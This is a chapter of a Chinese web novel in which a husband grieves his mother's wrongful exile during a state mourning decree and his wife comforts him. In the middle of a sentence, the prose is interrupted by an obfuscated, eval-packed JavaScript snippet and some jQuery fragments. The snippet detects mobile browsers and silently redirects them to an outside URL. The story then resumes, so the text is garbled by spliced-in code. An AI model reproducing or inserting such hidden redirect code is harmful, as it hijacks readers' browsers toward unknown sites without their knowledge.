腊月二十八。


    北风卷着细碎雪粒子，噼啪敲打家家新糊的窗纸。


    寒气裹着一种压抑的寂静。


    小年已过，按旧俗需食素斋戒。


    陈家灶间飘着清粥与素炒萝卜丝的香气。


    谢晚舟巧手用冬储的萝卜、豆腐和干菌菇，竟也置办出几样精致素斋，连安安的小碗都码得齐整。


    三姑婆在堂屋细细擦拭祖先牌位，动作比往日更显庄重。


    陈谷雨换上一身洗得发白的素净旧衣。


    前世高门刻入骨血的礼数，让她对这些日子存着本能的敬畏。


    谢晚舟在灶间沉默忙碌，擦拭早已光洁的灶台，动作间却透着一丝不易察的紧绷，像被无形之手缓缓绞紧的弦。


    午时刚过，村口那面铜锣猛地爆出凄惶乱响！


    里正娘子李娘子带哭腔的嘶喊，穿透风雪，狠狠砸进每家每户：


    “陛下……陛下殡天了——！举国同悲，新皇即将登基！奉县衙急令，即刻起，全民食素百日！禁婚嫁、禁游乐、禁……禁房帷之事！违者严惩不贷——！”


    消息如惊雷，在死寂的李家坳炸开。


    连风声都仿佛冻住了。


    家家门窗紧闭，一股沉重窒息的禁忌感，随漫天风雪沉沉压下。


    陈谷雨站在堂屋门口，眉头紧锁。


    新皇登基，国丧百日……前世亦是震动朝野的大事。


    但这“禁房帷”的律令，竟如此清晰严苛、直抵乡野，让她再次感到这世界律法对基层控制的森严。


    她下意识望向灶间门口。


    谢晚舟正站在那里，手里捏着给安安擦嘴的布巾。


    凄惶锣声入耳的刹那——


    他身形骤然僵住，如同被冰锥瞬间贯穿、冻结！


    没有惊呼，没有悲泣，甚至连一丝颤抖也无。


    他就那样僵在门框阴影里，像一尊骤然失却生气的石像。


    手中布巾无声滑落，飘在冰冷地上。


    时间凝固，风雪在他身后肆虐，他却似隔绝在另一个死寂世界。


    许久，久到陈谷雨以为他连呼吸都已停止，他才极其缓慢地、如同锈蚀千年的机括被强行扳动，一寸寸艰难转过身来。


    昏沉光线下，他脸色白得骇人，不见血色。


    眼神空茫投向院中飞雪，那里面翻涌的不再是平日的沉静或温柔，而是一种陈谷雨完全无法解读的、浓稠得化不开的黑暗——是深入骨髓的悲怆？是湮灭一切生机的绝望？还是对某种残酷宿命的认命？


    他仿佛没看见近在咫尺的妻主，也没看见惊惶的三姑婆，目光穿透风雪，也穿透现世——


    直投向某个遥远痛苦的深渊。


    随后，他像被无形丝线操控的木偶，动作平稳得诡异，却带着一种令人心头发冷的麻木，弯腰拾起布巾，默默走回灶间深处，拿起一个早已锃亮的粗瓷碗，用布巾一遍遍、机械地擦拭那光洁碗沿。


    陈谷雨心猛地一沉。


    这反应太反常了。


    寻常夫郎闻此严令，或惶恐律法，或忧心生计，绝非他这般……


    仿佛被恶咒瞬间攫住魂魄的万念俱灰。


    她没有立时上前。


    前世深宅经历让她深谙，有些伤痛如深埋地底的火山，贸然触碰，只会引发更剧烈的喷发。她只沉默走过去，弯腰拾起他滑落布巾时掉在旁边的一小撮散落棉籽——那是他平日习惯捻在手里的东西。


    随后走到水缸边，拿起他洗了一半放在盆里的碗，用不容置疑却异常平静的语气道：“我来洗。你去陪安安坐会儿，给他讲个故事。”


    声音不高，却像投入死水的一颗石子，带着打破那可怕麻木的力量。


    谢晚舟指尖冰凉，当陈谷雨温暖干燥的手接过碗时，他几不可察地瑟缩了一下。


    他终于抬起眼，空洞目光对上陈谷雨沉静眼眸——


    那里面没有探究，没有逼迫，只有一种“我看见了，我在这里”的无言安稳。


    他喉头剧烈滚动一下。


    终究什么也没说，只极缓慢地点了下头，脚步虚浮，如同踩在云端般，走向里屋安安的方向。


    国丧的沉重阴霾，如铅灰色天幕，沉沉笼罩着小院。


    白日里，陈谷雨沉默整理农具，检查地窖储备，劈砍柴火。


    谢晚舟则更加沉默，常对着窗外纷飞雪片长久发怔，唯在照顾懵懂安安时，眼中才勉强凝起一丝微弱活气。陈谷雨将这一切看在眼里，依旧不问。


    她只是在他指尖冻得通红时，将烧好的汤婆子不由分说塞进他怀里。


    在他忘了给堂屋火盆添柴时，起身默默添足。


    吃饭时，不动声色将他平日多吃两筷子的那碟素炒菌菇，推到他面前。


    这份沉默的守护，如冬日燃烧缓慢却持久的炭火，没有炽焰，却以恒定温度，一点点、坚定地融化着谢晚舟心头上那层厚厚坚冰。


    那份小心翼翼，那份不追问的尊重——


    比任何言语都更让他心头发烫，也让他心中那积压的秘密，沉甸甸地几乎要将他压垮。


    终于，一个风雪呼啸得仿佛要掀翻屋顶、投入无底深渊的深夜。


    安安在里屋小床上睡得香甜，呼吸均匀。


    陈谷雨就着桌上跳跃不稳的油灯光晕，细细缝补安安白日疯玩扯破的棉袄袖口。


    谢晚舟坐在她对面的矮凳上，手里无意识地捻着一小撮棉籽——


    那是他今年收获的最普通的岭南棉种。


    粗糙棉籽壳在他修长却冰凉指间反复摩擦，发出细微单调的沙沙声，是这狂暴风夜里唯一规律的低音。昏黄灯光笼着他低垂侧脸，在斑驳土墙上投下一个沉默紧绷、仿佛随时会崩断的影子。


    屋外是鬼哭狼嚎般的风雪世界。


    屋内却被油灯圈出一方奇异、仿佛与世隔绝的寂静孤岛。


    “妻主……”


    谢晚舟忽然开口，声音轻得像被风吹落的羽毛，带着一种被粗粝砂纸反复打磨过的沙哑，突兀撕裂了这层薄薄宁静。


    陈谷雨捏着针的手指顿住。


    抬头，目光平静落在他身上，带着无声鼓励和全然等待。


    谢晚舟没有抬头，目光死死胶着在掌心那几粒灯下泛微光的棉籽上，仿佛那是他此刻仅存的、维系神智的锚点。他用力吸了一口气，胸膛明显起伏，像要鼓起全身残存力气去推开一扇万钧之门。


    “……听闻陛下殡天，新皇登基……我……”


    声音骤然卡在喉咙深处，如同被一只冰冷无形的手死死扼住！


    喉结上下剧烈滚动，下颌线绷紧如拉满到极限、随时会断裂的强弓。


    那后面的话语，仿佛蕴含着千钧重、刻骨痛，在他胸腔里疯狂冲撞撕扯，却最终被更


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330125|182614||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    深无边黑暗死死压住，无法冲破紧抿失血的唇齿。他猛地闭眼，浓密眼睫如风中残蝶般剧烈颤抖，泄露着内心正承受何等惊涛骇浪般的挣扎撕裂。


    最终，只从紧咬牙关间，艰难地、带着一丝气若游丝的绝望，挤出几个破碎音节。


    “……家……母亲……”随即，整个人便如被抽走所有力气，陷入更深更沉死寂。


    唯有那只死死攥着棉籽、指节因过度用力而扭曲泛白的手，像濒死挣扎的兽爪，无声诉说着那无法倾吐、也无法消弭的巨大惊惧与悲恸。


    陈谷雨静静望着他因痛苦而剧烈颤抖的脊背和那只泄露一切秘密的手。


    她轻轻放下手中针线棉袄，起身，走到他面前。


    未试图碰触他紧绷如铁的身体，只缓缓地、稳定地伸出自己手。


    掌心向下，带着一种不容置疑的温暖与沉静力量，轻轻地、却无比坚定地覆在了他那只因绝望而冰冷颤抖、骨节嶙峋、紧攥棉籽的手上。


    覆盖瞬间，谢晚舟身体如被一道无声惊雷击中，剧震！


    仿佛那掌心暖意是唯一能灼穿他灵魂寒冰的火焰，又似在无尽深渊中终于触到唯一浮木。


    他喉头剧烈地滚动着，破碎的音节终于连成了绝望的低吼，带着血泪般的控诉，却又死死压在喉咙深处，只有近在咫尺的陈谷雨能听清：


    “她……我母亲……她死得冤啊……她一生忠直，不过为民生说了几句真话，触怒……触怒了某些人……那昏君…不辨是非，便夺职抄家，流放三千里……她病死在瘴疠之地时，可有人还记得她的忠心？如今……如今那人也死了……哈哈……一切都归于尘土……一切都成了空……她不该……她不该信那个昏君啊！”


    最后几个字，几乎是泣血般挤出，带着无尽的悔恨与悲凉。


    陈谷雨静静地听着，没有追问细节，没有评判对错。


    她只是任由他死死攥着自己的手，感受着他全身无法抑制的剧烈颤抖。


    待他这阵激烈的情绪稍稍平息，只剩下压抑的哽咽时，她才缓缓开口，声音平稳而柔和，带着一种奇异的穿透力，直抵他狂乱的心底：


    “每个人，都有自己的坚持。你母亲，只是坚持了她认为该坚持的东西而已。”


    没有指责母亲的不智，没有叹息命运的不公，更没有轻飘飘的“都过去了”。


    她只是平静地承认了那份“坚持”本身的价值。


    谢晚舟忽然觉得，那压得他喘不过气、让他觉得自己和家族的一切苦难都成了荒唐笑话的巨大悲怆，仿佛找到了一个可以安放的角落。


    原来……母亲的死，并非毫无意义的愚蠢和彻头彻尾的失败？！


    那份他曾怨恨过的“固执”，在另一个人眼中，竟只是一种“坚持”。


    滚烫的泪水更加汹涌地涌出，却不再是纯粹的绝望，里面掺杂了太多复杂难言的情绪——是多年委屈的被看见，是沉重枷锁的微微松动，是一种难以言喻的、近乎痛苦的释然。


    他依旧死死攥着她的手，仿佛那是茫茫苦海中唯一的浮木，但紧绷到极致的身体，却开始一点点地、细微地松弛下来。


    那口哽在胸口的、冰封了多年的寒气，似乎正被掌心传来的温度和那句简单的话，一点点地融化开来。


    指节因用力而扭曲变形，青筋暴起，攥得陈谷雨骨节生疼。


    ------